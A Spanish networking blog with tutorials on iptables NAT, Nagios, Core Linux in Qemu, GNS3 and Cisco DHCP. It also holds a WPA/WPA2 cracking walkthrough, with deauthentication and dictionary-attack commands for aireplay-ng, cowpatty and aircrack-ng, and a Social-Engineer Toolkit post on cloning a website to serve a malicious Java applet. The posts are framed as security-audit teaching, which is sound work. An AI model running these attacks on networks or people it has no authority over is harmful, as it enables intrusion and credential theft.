Seguridad y Redes

Tips, Video Tutoriales, Wifislax, VMware, Linux, GNS3, Eve-NG, CCNA, Cisco Routers, Switches

Configuración de NAT en Core Linux con iptables

Config de NAT con iptables
stop client dhcp
/etc/init.d/services/dhcp stop
Configure Eth0 (WAN)
$ sudo ifconfig eth0 10.1.100.33 netmask 255.255.255.0 up
Configure Eth1 (LAN)
$ sudo ifconfig eth1 192.168.11.1 netmask 255.255.255.0 up
Ruta de default
$ sudo route add default gw 10.1.100.253
Archivo resolv.conf
$ echo "nameserver 8.8.8.8" >> /etc/resolv.conf
Internet verification
$ nslookup cisco.com
Route verification
$ ip route get 8.8.8.8

Check if IP-Forwarding is enabled in the OS 
$ sudo sysctl net.ipv4.ip_forward 

0 = disabled 
1 = enabled 

Enable IP-Forwarding
$ sudo sysctl -w net.ipv4.ip_forward=1
Config NAT (PAT)
$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Cisco SW
Switch(config-if)#ip add 192.168.11.2 255.255.255.0
Switch(config-if)#no sh
Switch(config-if)#exit
Switch(config)#ip dhcp excluded-address 192.168.11.1
Switch(config)#ip dhcp pool test
Switch(dhcp-config)#network 192.168.11.0 255.255.255.0
Switch(dhcp-config)#default-router 192.168.11.1
Switch(dhcp-config)#dns-server 8.8.8.8

Nagios Core en Ubuntu 18.04

Nagios es un sistema de monitoreo de equipos y servicios de red ampliamente utilizado, creado para facilitar y ayudar a los administradores a tener siempre el control de la red, alertando sobre cualquier problema que ocurra en la infraestructura antes de que los usuarios de la misma los perciban. Instalación de Nagios.

Pre requisitos
$ sudo apt-get update
$ sudo apt-get dist-upgrade

$ sudo apt-get install wget build-essential unzip openssl libssl-dev
$ sudo apt-get install apache2 php libapache2-mod-php php-gd libgd-dev 

Creación de usuario Nagios
$ sudo adduser nagios
$ sudo groupadd nagcmd
$ sudo usermod -a -G nagcmd nagios
$ sudo usermod -a -G nagcmd www-data

Instalación del Servicio Nagios Core
$ cd /opt/
$ sudo wget https://github.com/NagiosEnterprises/nagioscore/archive/nagios-4.4.5.tar.gz
$ sudo tar xzf nagios-4.4.5.tar.gz

Después extraer al directorio fuente de nagios e instalar usando el comando make.
$ cd nagios-4.4.5
$ sudo ./configure --with-command-group=nagcmd
$ sudo make all
$ sudo make install
$ sudo make install-init
$ sudo make install-daemoninit
$ sudo make install-config
$ sudo make install-commandmode
$ sudo make install-exfoliation

Controladores de eventos en el directorio libexec, estos archivos binarios proporcionan múltiples eventos para la interfaz web de Nagios.
$ sudo cp -R contrib/eventhandlers/ /usr/local/nagios/libexec/
$ sudo chown -R nagios:nagios /usr/local/nagios/libexec/eventhandlers

Configuración de Apache con Autenticación

sudo vi /etc/apache2/conf-available/nagios.conf
 
ScriptAlias /nagios/cgi-bin "/usr/local/nagios/sbin"


   Options ExecCGI
   AllowOverride None
   Order allow,deny
   Allow from all
   AuthName "Restricted Area"
   AuthType Basic
   AuthUserFile /usr/local/nagios/etc/htpasswd.users
   Require valid-user


Alias /nagios "/usr/local/nagios/share"


   Options None
   AllowOverride None
   Order allow,deny
   Allow from all
   AuthName "Restricted Area"
   AuthType Basic
   AuthUserFile /usr/local/nagios/etc/htpasswd.users
   Require valid-user


$ sudo htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin

Ahora habilite la configuración de Apache y reinicie el servicio de Apache para que la nueva configuración surta efecto.
$ sudo a2enconf nagios
$ sudo a2enmod cgi rewrite
$ sudo service apache2 restart

Instalacion de Plugins de Nagios
$ cd /opt
$ sudo wget http://www.nagios-plugins.org/download/nagios-plugins-2.2.1.tar.gz
$ sudo tar xzf nagios-plugins-2.2.1.tar.gz
$ cd nagios-plugins-2.2.1

Compilacion e instalacion de los complementos
$ sudo ./configure --with-nagios-user=nagios --with-nagios-group=nagios --with-openssl
$ sudo make
$ sudo make install

Verificación de la configuración
$ /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg
$ sudo service nagios start
$ sudo systemctl enable nagios

Acceso a la interfaz web de Nagios Acceda a la configuracion de nagios utilizando el nombre de host o la direccion IP seguido de /nagios.

https://direccionIP_o_dominio/nagios

Linux Core en Qemu

Imágenes ISO de Linux Core Live x86 o x86-64 se pueden descargar de su pagina la versión mas reciente es el Core 6.4.1.

Creación de la imagen Qemu
$ qemu-img.exe create -f qcow2 LinuxCore.img 300M
Iniciar Qemu con la imagen ISO Live de Core Linux
$ qemu-system-i386w.exe -boot d -cdrom Core-6.4.1.iso -hda LinuxCore.img
Instalacion de Syslinux Extensions
$ tce-load -wi syslinux
Creación de una nueva Particion Ext4
$ sudo fdisk /dev/sda

n - Agregar particion
p - Particion primaria
Partition number (1-4): 1
First cylinder (1-25, default 1): ENTER
Last cylinder (1-25, default 25): ENTER
a - bootable flag
Partition number (1-4): 1
w - guardar la tabla de particion y salir

$ mkfs.ext4 /dev/sda1


Instalar el Boot Sector
$ dd if=/usr/local/share/syslinux/mbr.bin of=/dev/sda
Reconstruir /etc/fstab y Montar la Particion /dev/sda1
$ sudo rebuildfstab
$ mount /mnt/sda1
Montar el CDROM y copiar los archivos core.gz y vmlinuz a /mnt/sda1/boot
$ sudo mkdir -p /mnt/sda1/boot/extlinux
$ mount /mnt/sr0
$ sudo cp -p /mnt/sr0/boot/* /mnt/sda1/boot
Instalar el Boot Loader
$ sudo extlinux --install /mnt/sda1/boot/extlinux
Creación del Archivo extlinux.conf
$ sudo vi /mnt/sda1/boot/extlinux/extlinux.conf

DEFAULT core
LABEL core
KERNEL /boot/vmlinuz
APPEND initrd=/boot/core.gz quiet
Creación de directorios
$ sudo mkdir /mnt/sda1/tce
$ sudo chown tc:staff /mnt/sda1/tce
$ touch /mnt/sda1/tce/mydata.tgz
Apagar Linux Core

Despues de apagar Linux Core ingresar desde consola
$ qemu-system-i386w.exe -boot c -hda LinuxCore.img
Habilitar en Linux Core la redirección al Puerto Serial
default core
label core
kernel /boot/vmlinuz console=ttyS0,38400n8
        append initrd=/boot/core.gz quiet
Extaer el archivo core.gz
$ mkdir -p /home/tc/temp/extract
$ sudo cp /mnt/sda1/boot/core.gz /home/tc/temp/
$ cd /home/tc/temp/extract/

$ zcat ../core.gz | sudo cpio -i -H newc -d
Desabilitar Autologin para tty1 y agregar ttyS0
$ sudo vi /etc/inittab

#tty1::respawn:/sbin/getty -nl /sbin/autologin 38400 tty1
tty1::respawn:/sbin/getty 38400 tty1
ttyS0::respawn:/sbin/getty 38400 ttyS0

Personalizar entrada al sistema
$ sudo vi /etc/issue

Bienvenido a Core Linux

Username "tc", password no establecido
Editar /etc/securetty y permitir acceso al Puerto Serial ttyS0
Descomentar la linea #ttyS0
$ sudo vi ./etc/securetty

ttyS0
Pack File core.gz
$ sudo su
$ cd /home/tc/temp/extract/

$ find | cpio -o -H newc | gzip -2 > /mnt/sda1/boot/core.gz

$ cd /home/tc
$ rm -rf /home/tc/temp

Guardar cambios de configuración de Linux Core

Por default al reiniciar Linux Core no se guardan los cambios realizados, para guardar los cambios que se realicen se debe editar el scrpt /opt/bootlocal.sh el cual se ejecuta en cada inicio de la maquina virtual. El único editor que viene instalado en Linux Core es el editor vi, para editar el script bootlocal.sh ingresar el siguiente comando.
$ sudo vi /opt/bootlocal.sh
Por ejemplo si desea mantener la dirección IP para la interface eth0 con la direccion 10.1.1.1/24 y el nombre de host sea labs, añadir las siguientes líneas a este archivo.
sudo hostname labs
sudo ifconfig eth0 10.1.1.1 netmask 255.255.255.0 up

Ejemplo de guardar cambios en los directorios.
sudo vi /opt/.filetool.lst
/etc/inittab
/etc/issue
/etc/securetty
Una vez guardado los cambios en vi, se tendrá que guardar esta configuración mediante otro script llamado filetool.sh, para guardar cambios ejecutar el siguiente comando:
$ filetool.sh -b
Otros comandos utiles para utilizar.

sudo reboot
sudo poweroff

Apagar Core Linux Qemu y verificar.

$ sudo poweroff

Una vez apagado Core Linux Ingresar el siguiente comando para verificar
$ qemu-system-i386w.exe -boot c -hda LinuxCore.img -serial telnet:0.0.0.0:3000,server,nowait
Una vez iniciado Core Linux ejecutar el siguiente comando desde consola.
$ telnet localhost 3000



Como crear un LiveUSB de Wifislax 4.11.1

WifiSlax es una distro GNU/Linux que se ejecuta en modo Live, es decir; no se instala físicamente en el disco duro, sino que se bootea desde un CD/DVD. Está pensada y diseñada para la auditoria de seguridad y relacionada con la seguridad informática en general e incluye una gran variedad de herramientas listas para ser utilizar. Hoy vamos a ver cómo crear un LiveUSB a partir de la imagen ISO.

Herramientas a Utilizar.
  • Imagen ISO de Wifislax.
  • Memoria USB de al menos 2 Gigas.
El primero paso que tenemos que hacer es descargar la ISO de WifiSlax desde su página oficial.

Nombre archivo: wifislax-4-11-1-final.iso 1.09 GB
Hash MD5: dd00c7cca12ab7bb7de76aeb73fd2565

Opciones de descarga:
El paso siguiente es preparar la memoria USB que vamos a utilizar, debemos de formatear con formato FAT32. Una vez descargado el Wifislax descomprimir el archivo de imagen ISO con algún descompresor (ejemplo Winrar) o el que utilicen habitualmente. Al terminar de descomprimir creara dos carpetas, una llamada Boot y la otra Wifislax. El siguiente paso será copiar estas dos carpetas a la memoria USB.

Una vez copiados las dos carpetas en la memoria usb, iremos a la carpeta Boot de la memoria usb y ejecutaremos el archivo llamado Wifislax Boot Installer.
 Wifislax Boot Installer.

Ejecutado el archivo nos aparecerá un mensaje de consola que nos pedirá la confirmación, ingresamos la tecla "s" para confirmar.


Con esto ya podremos arrancar Wifislax desde el USB. Por si tienen activado la UEFI es necesario desactivarlo desde la Bios para poder iniciar desde la USB y también deben asegurarse iniciar desde la USB como primera opción de arranque.


 Al iniciar con el LiveUSB nos aparecerá un menú donde podremos elegir varios modos de arranque, si tenemos menos de 4 GB de RAM seleccionamos “Arrancar con kernel NORMAL” y si cuenta con más memoria de la mencionada sería la opción de “Arrancar con kernel PAE”.

A continuación, podemos elegir entre KDE y Xfce como entorno gráfico.

Esperamos un poco y listo ya podremos utilizar el Wifislax desde la memoria USB.


Usuario: root
Pass: toor

Qemu & GNS3 en Ubuntu 12.10

Primero instalar algunas aplicaciones necesarias.
root@cisco:/home/delfi# apt-get update
root@cisco:/home/delfi# apt-get install libpcap-dev
root@cisco:/home/delfi# apt-get install build-essential libssl-dev uuid-dev zlib1g-dev libncurses5-dev libx11-dev

Segundo, creamos carpetas y asignamos permisos

root@cisco:/home/delfi# mkdir GNS3
root@cisco:/home/delfi# chmod 777 GNS3
root@cisco:/home/delfi# cd GNS3
root@cisco:/home/delfi/GNS3# mkdir Dynamips
root@cisco:/home/delfi/GNS3# mkdir IOS
root@cisco:/home/delfi/GNS3# mkdir Proyectos
root@cisco:/home/delfi/GNS3# mkdir Capturas
root@cisco:/home/delfi/GNS3# mkdir working
root@cisco:/home/delfi/GNS3# mkdir qemu
root@cisco:/home/delfi/GNS3# chmod 777 Dynamips
root@cisco:/home/delfi/GNS3# chmod 777 IOS
root@cisco:/home/delfi/GNS3# chmod 777 Proyectos
root@cisco:/home/delfi/GNS3# chmod 777 Capturas
root@cisco:/home/delfi/GNS3# chmod 777 working
root@cisco:/home/delfi/GNS3# chmod 777 qemu

Luego descargamos GNS3 v0.8.3.1 en su versión mas reciente, descomprimos y asignamos permisos.
root@cisco:/home/delfi/GNS3# wget https://voxel.dl.sourceforge.net/project/gns-3/GNS3/0.8.3.1/GNS3-0.8.3.1-src.tar.gz
root@cisco:/home/delfi/GNS3# tar -xvzf GNS3-0.8.3.1-src.tar.gz
root@cisco:/home/delfi/GNS3# chmod 777 GNS3-0.8.3.1-src
root@cisco:/home/delfi/GNS3# cd GNS3-0.8.3.1-src
root@cisco:/home/delfi/GNS3/GNS3-0.8.3.1-src# chmod 777 *.*
root@cisco:/home/delfi/GNS3/GNS3-0.8.3.1-src# cd ..
root@cisco:/home/delfi/GNS3# ls
Capturas  Dynamips  GNS3-0.8.3.1-src  GNS3-0.8.3.1-src.tar.gz  IOS  Proyectos  qemu

Realizamos lo mismo con Dynamips.
root@cisco:/home/delfi/GNS3# cd Dynamips/
root@cisco:/home/delfi/GNS3/Dynamips# wget https://voxel.dl.sourceforge.net/project/gns-3/Dynamips/0.2.8-RC3-community/dynamips-0.2.8-RC3-community-x86.bin
root@cisco:/home/delfi/GNS3/Dynamips# chmod 77 dynamips-0.2.8-RC3-community-x86.bin
root@cisco:/home/delfi/GNS3/Dynamips# cd ..
root@cisco:/home/delfi//GNS3# ./gns3

Configuración de Dynamips en GNS3.
Configuración de Qemu
Ahora toca configurar Qemu
root@cisco:/home/delfi/GNS3# cd qemu
root@cisco:/home/delfi/GNS3/qemu# wget https://download.savannah.gnu.org/releases/qemu/qemu-0.11.0.tar.gz
root@cisco:/home/delfi/GNS3/qemu# tar xvzf qemu-0.11.0.tar.gz
root@cisco:/home/delfi/GNS3/qemu# ls
qemu-0.11.0  qemu-0.11.0.tar.gz
root@cisco:/home/delfi/GNS3/qemu# cd qemu-0.11.0
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# wget https://voxel.dl.sourceforge.net/project/gns-3/Qemu/qemu-0.11.0-olive.patch
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# patch -p1 -i qemu-0.11.0-olive.patch
patching file Makefile.target
patching file configure
patching file hw/e1000.c
patching file hw/eepro100.c
patching file net.c
patching file qemu-options.hx
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# ./configure --target-list=i386-softmmu
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# make
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# make install

Averiguamos donde se encuentra qemu y qemu-img con el comando which.
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# which qemu
/usr/local/bin/qemu
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0# which qemu-img
/usr/local/bin/qemu-img
root@cisco:/home/delfi/GNS3/qemu/qemu-0.11.0#
Finalmente la configuración de Qemu en GNS3 debe quedar como se muestra en la siguiente imagen.

Configuración de Qemu en GNS3.

Configuración de Linux Microcore en GNS3.

Descargamos Linux Microcore (linux-microcore-3.8.2.img) del siguiente enlace.
https://sourceforge.net/projects/gns-3/files/Qemu%20Appliances/
Una vez que hallamos descargado la imagen, el siguiente paso es abrir GNS3 y dirigirmos al Menú.
Edit > Preferences > Qemu > Qemu Guest

Finalmente quedaría como se muestra a continuación.

Configuración de Linux Microcore en GNS3.


Simple Lab

Arrastramos un Router y Quemu Guest al area de trabajo de GNS3, realizamos las conexiones y luego los inicializamos. Primero le configuramos al Router una dirección IP y habilitamos la interface.
R1#conf t
R1(config)#int f0/0      
R1(config-if)#ip add 192.168.10.1 255.255.255.0
R1(config-if)#no shut
R1(config-if)#end
R1#show ip int brief
Interface                  IP-Address      OK? Method Status                Protocol
FastEthernet0/0            192.168.10.1    YES manual up                    up    
FastEthernet0/1            unassigned      YES unset  administratively down down  
R1#

Realizamos lo mismo con Linux Microcore.
Micro Core Linux
box login: login[1451]: root login on 'tty1'

Micro Core Linux
box login: root
Password: root

tc@box:~$ sudo su
root@box:~# ifconfig eth0 192.168.10.2 netmask 255.255.255.0 up
root@box:~# ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:AB:29:8C:3E:00
          inet addr:192.168.10.2  Bcast:192.168.10.255  Mask:255.255.255.0
          inet6 addr: fe80::2ab:29ff:fe8c:3e00/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:36 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:10278 (10.0 KiB)

Finalmente realizamos una prueba de conectividad.
R1#ping 192.168.10.2

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.10.2, timeout is 2 seconds:
.!!!!
Success rate is 80 percent (4/5), round-trip min/avg/max = 8/11/12 ms
R1#

root@box:~# ping 192.168.10.1
PING 192.168.10.1 (192.168.10.1): 56 data bytes
64 bytes from 192.168.10.1: seq=0 ttl=255 time=13.310 ms
64 bytes from 192.168.10.1: seq=1 ttl=255 time=11.636 ms
64 bytes from 192.168.10.1: seq=2 ttl=255 time=3.861 ms

Configuración de un Router Cisco como un Servidor DHCP

  • Configuramos una IP a la interface del Servidor
  • Definimos el nombre del Servidor
  • Establecemos el rango de direcciones IPs de la red
  • Definimos la puerta de enlace
  • Define el servidor de nombres DNS
  • Establecemos la dirección(es) dentro del rango que no se debe de asignar
Topologia en GNS3
Servidor DHCP
Server_DHCP#conf t
Server_DHCP(config)#int f0/0
Server_DHCP(config-if)#ip add 192.168.1.1 255.255.255.0
Server_DHCP(config-if)#no shut
Server_DHCP(config-if)#exit
Server_DHCP(config)#ip dhcp pool delfirosales
Server_DHCP(dhcp-config)#network 192.168.1.0 255.255.255.0
Server_DHCP(dhcp-config)#default-route 192.168.1.1
Server_DHCP(dhcp-config)#dns-server 192.168.1.1
Server_DHCP(dhcp-config)#exit
Server_DHCP(config)#ip dhcp excluded-address 192.168.1.1
Configuración en SW, R1, R2
RX#conf t
RX(config)#int f0/0
RX(config-if)#no shut
RX(config-if)#ip address dhcp
RX(config-if)#

*Mar  1 00:00:51.203: %DHCP-6-ADDRESS_ASSIGN: Interface FastEthernet0/0 assigned DHCP address 192.168.1.3, mask 255.255.255.0, hostname R2

Qemu Host (Microcore) utiliza la utilidad udhcpc como cliente dhcp.
Para verificar que se esta ejecutando udhcpc, utilizar el siguiente comando.

ps | grep udhcpc

1649  root  /sbin/udhcpc -b -i eth0 -h box -p /var/run/udhcpc.eth0.pid
1663  root  greep udhcpc

Qemu Host (Microcore) automáticamente detecta la IP.
Por ultimo verificamos.
Server_DHCP#show ip dhcp binding      
Bindings from all pools not associated with VRF:
IP address          Client-ID/              Lease expiration        Type
               Hardware address/
               User name
192.168.1.2         0063.6973.636f.2d63.    Mar 02 2002 12:05 AM    Automatic
               3230.362e.3232.3134.
               2e30.3030.302d.4661.
               302f.30
192.168.1.3         0063.6973.636f.2d63.    Mar 02 2002 12:09 AM    Automatic
               3230.372e.3232.3134.
               2e30.3030.302d.4661.
               302f.30
192.168.1.4         0063.6973.636f.2d63.    Mar 02 2002 12:09 AM    Automatic
               3230.332e.3232.3134.
               2e30.3030.302d.566c.
               31
192.168.1.5         0100.aa00.fa9f.00       Mar 02 2002 12:12 AM    Automatic
Server_DHCP#show ip dhcp pool         

Pool delfirosales :
Utilization mark (high/low)    : 100 / 0
Subnet size (first/next)       : 0 / 0
Total addresses                : 254
Leased addresses               : 4
Pending event                  : none
1 subnet is currently in the pool :
Current index        IP address range                    Leased addresses
192.168.1.6          192.168.1.1      - 192.168.1.254     4
Server_DHCP#

Server_DHCP#show run

!
!
no ip dhcp use vrf connected
ip dhcp excluded-address 192.168.1.1
!
ip dhcp pool delfirosales
network 192.168.1.0 255.255.255.0
default-router 192.168.1.1
dns-server 192.168.1.1
!

Agregar Qemu Host (MicroCore) en GNS3

Qemu Host es una imagen de linea de comando CLI (Microcore) o bien una imagen GUI (Tinycore). Es básicamente una pequeña imagen de Linux que puede ser utilizado para realizar algunas tareas básicas de conectividad como por ejemplo telnel, ssh, route iptables, tcpdump y también soporta IPV6. En este pequeño tutorial se mostrara el proceso de como agregar la imagen de Qemu Host a GNS3.

Herramientas
1. Lo primero que haremos es abrir GNS3 y nos vamos a la opcion de Qemu Host.
Editar - Preferencias - Qemu - Qemu Host
2. Configuramos la topologia de Red

3.Iniciamos el Switch y le configuramos una IP para realizar una prueba de conectividad.

4. Iniciamos Qemu Host y le configuramos una IP.

5. Realizamos la conectividad entre el Switch y Qemu host.

Configurar Default Gateway en Qemu
route add default gw 10.10.10.1
Video Tutorial GNS3: Agregar Qemu Host (MicroCore)

Vídeo Online
https://www.youtube.com/watch?v=6hc5A_qKUGY

Cracking WPA/WPA2 con CoWPAtty & Aircrack-ng

Aunque WPA (Wi-Fi Protected Access) es más seguro que WEP (Wired Equivalent Privacy), en el instante inicial en que la conexión se establece, WPA es más vulnerable que WEP ya que es necesario capturar un menor número de frames (solo es necesario capturar un total de 4 frames del handshake intercambiadas entre el cliente y el punto de acceso para llevar el descubrimiento de claves) para obtener la clave inicial de cifrado mediante ataques de diccionario.

WPA es vulnerable a un ataque de diccionario y para este ataque es necesario el obtener el 4 way handshake entre el cliente y el punto de acceso. Es necesario también un wordlist o diccionario de palabras. Luego, utilizando herramientas como CoWPAtty y Aircrack-ng intentar obtener la clave pre compartida de WPA/WPA2.

CoWPAtty fue creado por Joshua Wright https://www.willhackforsushi.com/?page_id=50 y tiene todas las características que uno podría desear de una buena herramienta sin salir de su propósito. Esta herramienta es para automatizar el ataque de diccionario a las redes WPA-PSK y es muy sencillo de utilizar. Lo primero que haremos es lanzara airodump-ng para seleccionar un objetivo.
root@bt:~# airodump-ng mon0
En buscando de un Objetivo.

Tal como podemos ver en la imagen anterior, hay dos clientes conectados a la red "Wireless" y tiene encriptación WPA, con cifrado TKIP. Ahora lo que haremos es lanzar airodump-ng para que escuche en el canal donde esta transmitiendo el punto de acceso que tenemos como objetivo, en este caso "Wireless" que esta transmitiendo en el canal 11 y despues lanzar el "Ataque 0 Deautenticación" para desautenticar a un cliente y así obtener el 4 way handshake.
root@bt:~# airodump-ng --channel 11 --bssid FX:XX:XX:XF:AB:7C --write wpademo mon0
Para obtener la captura completa de 4 frames del handshake, es necesario que haya al menos un cliente conectado o esperar a que un cliente se conecte (esto si eres muy paciente :D). Si hay un cliente conectado lo que se hará es realizar el ataque “-–deauth” o también conocido como “ataque 0” utilizando aireplay-ng y lo que sucederá aquí es, que desasociaremos al cliente conectado actualmente al punto de acceso y cuando se vuelve a conectar obtendremos los 4 frames del handshake. El detalle es que si no hay clientes conectados al punto de acceso, no podremos obtener la clave WPA ya que es necesario que haya clientes conectados o esperar que alguien se conecte al AP para la obtención del four-way handshake.

Bueno en mi caso lo que hare es desautenticar el cliente con direccion MAC "0C:XX:76:XX:D5:5B" del ESSID "Wireless".
root@bt:~# aireplay-ng --deauth 1 -a FX:XX:XX:XF:AB:7C -c 00:60:76:71:D5:5B mon0

Desautentificación de un cliente wifi.

He desasociado al cliente del punto del acceso, ahora el cliente lo que hará es volver a reautenticarse y es entonces cuando obtendremos los 4 paquetes del handshake. En la reautenticación se generarán los 4 paquetes de autenticación (handshake) en los que estamos interesados en capturar. Después estos paquetes los usaremos para intentar obtener la clave precompartida WPA/WPA2.

Bueno ahora pongan atención en la siguiente imagen donde se muestra una sesión de airodump-ng y en la parte superior de la imagen se muestra un mensaje "WPA handshake F4:C7:14:6F:AB:7". El four-way handshake ha sido capturado.

Four-way handshake capturado.

Tal y como se muestra en la imagen anterior, hemos obtenido los 4 paquetes handshake. Estos cuatro paquetes como lo mencionamos anteriormente los utilizaremos para obtener la clave WPA/WPA2 precompartida. Para esto necesitaremos un wordlist o diccionario de palabras, el cual contiene la contraseña de WPA/WPA2-PSK.

Antes de pasar al siguiente paso, ahora lo que haremos es detener airodump-ng y abriremos el archivos ".cap" capturado con Wireshark para ver el “four-way handshake”. El archivo debe ser algo similar a la siguiente captura.

EAPOL Key

Bueno ahora lo que haremos es empezar el crackeo, para esto necesitaremos un wordlist y es aquí donde entra en juego CoWPAtty. Debemos de indicarle a CoWPAtty la ruta donde tenemos el wordlist o diccionario de palabras, también la captura del four-way handshake y por ultimo el SSID de la red wifi, que en este caso es "Wireless". Básicamente lo que hara CoWPAtty es ir comprobando cada una de esas palabras que contiene el diccionario si coincide con la clave. Este proceso todo será dependiendo de la velocidad de nuestro CPU, también de la calidad y el tamaño del diccionario de palabras (wordlist), esto puede llevar bastante tiempo, incluso días o años jeje si eres impaciente puedes esperar :D. Bueno Lanzamos CoWPAtty desde consola.
root@bt:~# cowpatty -r wpademo-02.cap -f /pentest/passwords/john/password.lst -2 -s Wireless
El Crackeo con CoWPAtty ha tenido éxito.

Para especificar nuestro diccionario de palabras lo hacemos con el parámetro –f (-f /pentest/passwords/john/password.lst), el SSID con el parámetro –s (-s Wireless) y el archivo capturado con el parámetro –r (-r wpademo-02.cap). El ultimo parámetro -2, es el modo no estricto, esto se requiere cuando no tenemos capturados los 4 frames del handshake, es decir el paquete completo. Por cierto una opción bastante buena.

En este ejemplo he utilizado un diccionario de palabras que lo trae incluido BackTrack de John the Ripper, el archivo se encuentra en el directorio /pentest/passwords/john/password.lst

Es importante comentar que para el crackeo de WPA debemos de tener un muy buen diccionario de palabras. La distribución de BackTrack incluye unos cuantos diccionarios pero estos puede que no sean suficientes, para esto deben de buscar en Google o igual existen generadores de palabras que automatizan este proceso de generar diccionarios.

Ahora veamos un ejemplo final utilizando Aircrak-ng. Vamos a especificar la ruta de nuestro diccionario con el parámetro –w (-w /pentest/passwords/john/password.lst) y nuestro archivo de captura (wpademo-02.cap).
root@bt:~# aircrack-ng -w /pentest/passwords/john/password.lst wpademo-02.cap
Aircrack-ng en Acción.

Para el crackeo de WPA2 el proceso es el mismo, no hay diferencia. También hay que tener muy en cuenta de que al tratarse de un ataque de diccionario el requisito previo es que la contraseña debe estar en el diccionario de palabras que le estamos indicando, si la frase u contraseña no se encuentra en el diccionario, el ataque no tendrá éxito.

Vector de Ataque Web con Social-Engineer Toolkit (SET)

Social-Engineer Toolkit (SET) es un conjunto de colección de scripts en Python especialmente diseñadas para realizar ataques de ingeniería social en procesos de auditorias de seguridad. Esta herramienta fue creada por David Kennedy (ReL1K), el mismo creador de otra herramienta muy popular llamada Fast-Track, que también es una herramienta que automatiza algunos ataques más comunes y más usados en las pruebas de penetración (penetration test) mediante algunos scripts hechos en Python.

Social-Engineer Toolkit (SET) nos permite crear archivos PDF, sitios web falsos y enviar correos electrónicos con código malicioso incrustado, por cierto también se integra con el Metasploit Framework.

Como bien sabran y se han dado cuenta, la ingeniería social no es nada nuevo, los ataques de ingeniería social están ahora en su punto más alto, es decir en pleno auge y siempre han sido un gran riesgo para muchas organizaciones. Una persona que esta tratando de convencer a otras personas para que realicen actos que normalmente no harian es muy antigua como la misma historia de la tierra :D

Muchos creen que la ingeniería social es uno de los mayores riesgos que enfrentan las organizaciones actualmente, ya que es muy difícil proteger a las organizaciones de estos ataques. Por ejemplo puede que se acuerden del ataque a Google, del llamado “Operación Aurora” (también conocida como Comele o Hydraq) en el que la técnica de ingeniería social fue utilizada para atacar a Gmail y otras fuentes de Google.

Un vector de ataque es la vía que se utiliza para obtener información o acceso a un determinado sistema y la herramienta Social-Engineer Toolkit (SET) clasifica a los ataques por vectores de ataques web, correo, electrónico y también los ataques basados en USB. Utiliza correo electrónico, sitios web falso y otros vectores que típicamente lo que hacen es engañar a los usuarios a comprometer la información sensible. Cada vector puede tener éxito o todo lo contrario, dependiendo del objetivo a atacar y también el tipo de comunicación utilizada. SET también viene con correos electrónicos y plantillas de páginas web ya predefinidas que pueden ser utilizadas para los ataques de ingeniería social, también utiliza la herramienta Metasploit Framework. Así que en este post se mostrara un ejemplo de vector de ataque basado en web, manos a la obra y listos para la primera prueba.

Herramientas Utilizadas

Instalación de Social Engineer Toolkit (SET)

La instalación de SET es sencilla, lo que necesitamos es tener instalado Phyton y Metasploit Framework, ambas herramientas están instaladas en la distribución de BackTrack y no hay que preocuparnos por nada sobre cosas de la configuración e instalación, solo tenemos que tener actualizados a las versiones más recientes. Pero si requieren instalarlo en alguna otra distribución diferente, solo abrir la consola y teclear o copiar el siguiente comando.
svn co https://svn.secmaniac.com/social_engineering_toolkit set/
Después de ejecutar el comando anterior, tendremos un nuevo directorio que contiene todas herramientas necesarias para la ejecución de Social-Engineer Toolkit (SET).

Ejecutando Social-Engineer Toolkit (SET)

Para ejecutar SET es un proceso sencillo, ya que solo tenemos que abrir una terminal o consola y simplemente tenemos que teclear ./set. Bueno lo primero tenemos que estar en el directorio donde tenemos la herramienta, en BackTrack se encuentra en el directorio /pentest/exploits/set/. Lo haremos de la siguiente manera.
root@bt:~# cd /pentest/exploits/set/
root@bt:/pentest/exploits/set# ls
config modules readme reports set set-automate set-proxy set-update setup.py set-web src
root@bt:/pentest/exploits/set# ./set
Ejecución de Social-Engineer Toolkit (SET).

El comando ./set inicia la ejecución de SET y nos muestra el menú inicial. En este post veremos un ejemplo de un vector de ataque basado en web, clonando un sitio web y utilizando el método de ataque de Java Applet.

Website Attack Vectors

Los vectores de ataque web son probablemente uno de los aspectos más avanzados e interesantes de esta herramienta ya que están especialmente diseñados para ser de un aspecto muy creíble y de una apariencia muy atractiva para la víctima. Esta herramienta puede clonar sitios web que son idénticos a los sitios de confianza que normalmente visita un usuario normal, esto asegura a la víctima de que aparentemente está visitando un sitio legítimo.

Java Applet Attack

Uno de los ataques basados en un sitio web que tienes disponible Social-Engineer Toolkit (SET), es el ataque de Java Applet (Java Applet Attack), es uno de los vectores de ataque más exitoso de esta herramienta. Este ataque malicioso lo que hace es mostrar un applet de Java en el navegador web invitando a que el usuario de clic, en este caso a ejecutar el applet. Este ataque no se considera una vulnerabilidad de Java.

Para ejecutar este ataque en el menú principal de SET debemos primero elegir la opción 2, Website Attack Vectors. Al elegir la esta opción, nos mostrara en consola las siguientes opciones.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Man Left in the Middle Attack Method
6) Web Jacking Attack Method
7) Multi-Attack Web Method
8) Create or import a CodeSigning Certificate

Java Applet Attack Method

Elegimos la opción 1, Java Applet Attack Method y nos mostrara lo siguiente.


Elegimos la opción que 1 o 2, en mi caso la opción 2 donde pongo el sitio a clonar, en mi caso puse mi blog, delfirosales.blogspot.com y se generara la clonación del sitio.

Hemos creado un servidor de alojamiento con un sitio web clonado en este caso, el sitio es mi blog delfirosales.blogspot.com.
